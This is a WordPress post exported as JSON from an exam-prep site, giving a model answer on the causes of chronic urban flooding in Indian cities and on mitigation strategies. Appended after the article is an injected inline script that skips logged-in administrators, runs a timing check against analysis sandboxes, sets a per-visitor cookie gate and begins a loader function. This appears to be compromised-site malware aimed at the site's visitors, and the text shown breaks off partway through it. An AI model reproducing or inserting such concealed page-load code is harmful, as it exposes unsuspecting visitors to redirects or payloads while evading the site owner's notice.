{"id":1179,"date":"2024-07-29T06:47:18","date_gmt":"2024-07-29T06:47:18","guid":{"rendered":"https:\/\/iasquest.com\/?p=1179"},"modified":"2026-02-11T19:15:47","modified_gmt":"2026-02-11T19:15:47","slug":"paper-ii-gs-i-indian-heritage-and-culture-history-and-geography-of-the-world-and-society-paper-iv-general-studies-iii-technology-economic-development-biodiversity-environment-security-and","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/paper-ii-gs-i-indian-heritage-and-culture-history-and-geography-of-the-world-and-society-paper-iv-general-studies-iii-technology-economic-development-biodiversity-environment-security-and\/","title":{"rendered":"PAPER-II GS-I : Indian Heritage and Culture, History and Geography of the World and Society\u00a0PAPER-IV General Studies-III: Technology, Economic Development, Biodiversity, Environment, Security and Disaster Management"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">GS1- Urbanisation and GS3- Disaster management<\/p>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-1 wp-block-paragraph\" style=\"color:#dc1212\"><strong>Explain the principle reason behind chronic urban flooding in Indian cities like Delhi, Bengaluru and Mumbai. And also suggest what are Mitigation Strategies for Urban Floods?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Urban flooding is significantly different from rural flooding as urbanization leads to developed catchments, which increases the flood peaks from 1.8 to 8 times and flood volumes by up to 6 times. Consequently, flooding occurs very quickly due to faster flow times (in a matter of minutes).<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Principal Reasons Behind Chronic Urban Flooding&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>1. Centres of economic activity<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Urban areas are also centres of economic activities with vital infrastructure which needs to be protected 24&#215;7.<\/li>\n\n\n\n<li>Ex: attraction of urban opportunities<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>2. Current drainage systems&nbsp;<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Cities are witnessing more such bursts of rain, and their current drainage systems cannot cope, leading to flooding.&nbsp;<\/li>\n\n\n\n<li>Ex:&nbsp; state of Kerala in 2019.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>3.Encroachments on Water Bodies<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>&nbsp;Poor migrants are unable to find housing in the formal market and often seek shelter on or near riverbanks, mangroves, and land along drains.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>4. Poor Urban Planning:&nbsp;<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Rapid urbanization without adequate urban planning affects the natural drainage system<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>5. Climate Change<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Global climate change is resulting in changed weather patterns and increased episodes of high intensity rainfall events occurring in shorter periods of time.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>6.Solid Waste and Debris<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Improper disposal of solid waste, including domestic, commercial and industrial waste and dumping of construction debris into the drains also contributes significantly to reducing their capacities.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>7.Deforestation&nbsp;<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The destruction of forests, wetlands, and green spaces reduces the ability of the land to absorb water.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Mitigation Strategies for Urban Floods<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>1. Adoption of green roofs and infiltration<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Mitigation requires that the quantum of infiltration that has been lost on account of the construction of a building should be made up by provisions on the rooftop. Infiltration beds can be installed on roofs.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>2. Rooftop rainwater harvesting<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Flood risk can be reduced using rooftop rainwater harvesting tanks that can hold vast amounts of water.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>3.Integrated Urban Planning<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Develop a water master plan that gives urban development&#8217;s water management first priority.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>4. Sponge Cities Concept<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>China launched the Sponge City Initiative in 2015, investing in projects that can absorb floodwater.&nbsp;<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>5.Blue Green Infrastructure<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Blue-Green Infrastructure refers to a network that provides the \u201cingredients\u201d for solving urban and climatic challenges by a combination of infrastructure, ecological restoration and urban design to connect people with nature.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>6.Public Awareness<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Ensure prompt, well-coordinated, and effective response to urban floods to minimize casualties, and property damage, and facilitate quick recovery.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">India must closely examine the over-densification of its cities and articulate a national policy that disincentives demographic density beyond an accepted limit based on economic, environmental, and social sustainability.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>SOURCE:&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/www.newindianexpress.com\/opinions\/2024\/Jul\/27\/flooded-cities-urban-india-drownsin-political-apathy\" target=\"_blank\" rel=\"noopener\">https:\/\/www.newindianexpress.com\/opinions\/2024\/Jul\/27\/flooded-cities-urban-india-drownsin-political-apathy<\/a><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 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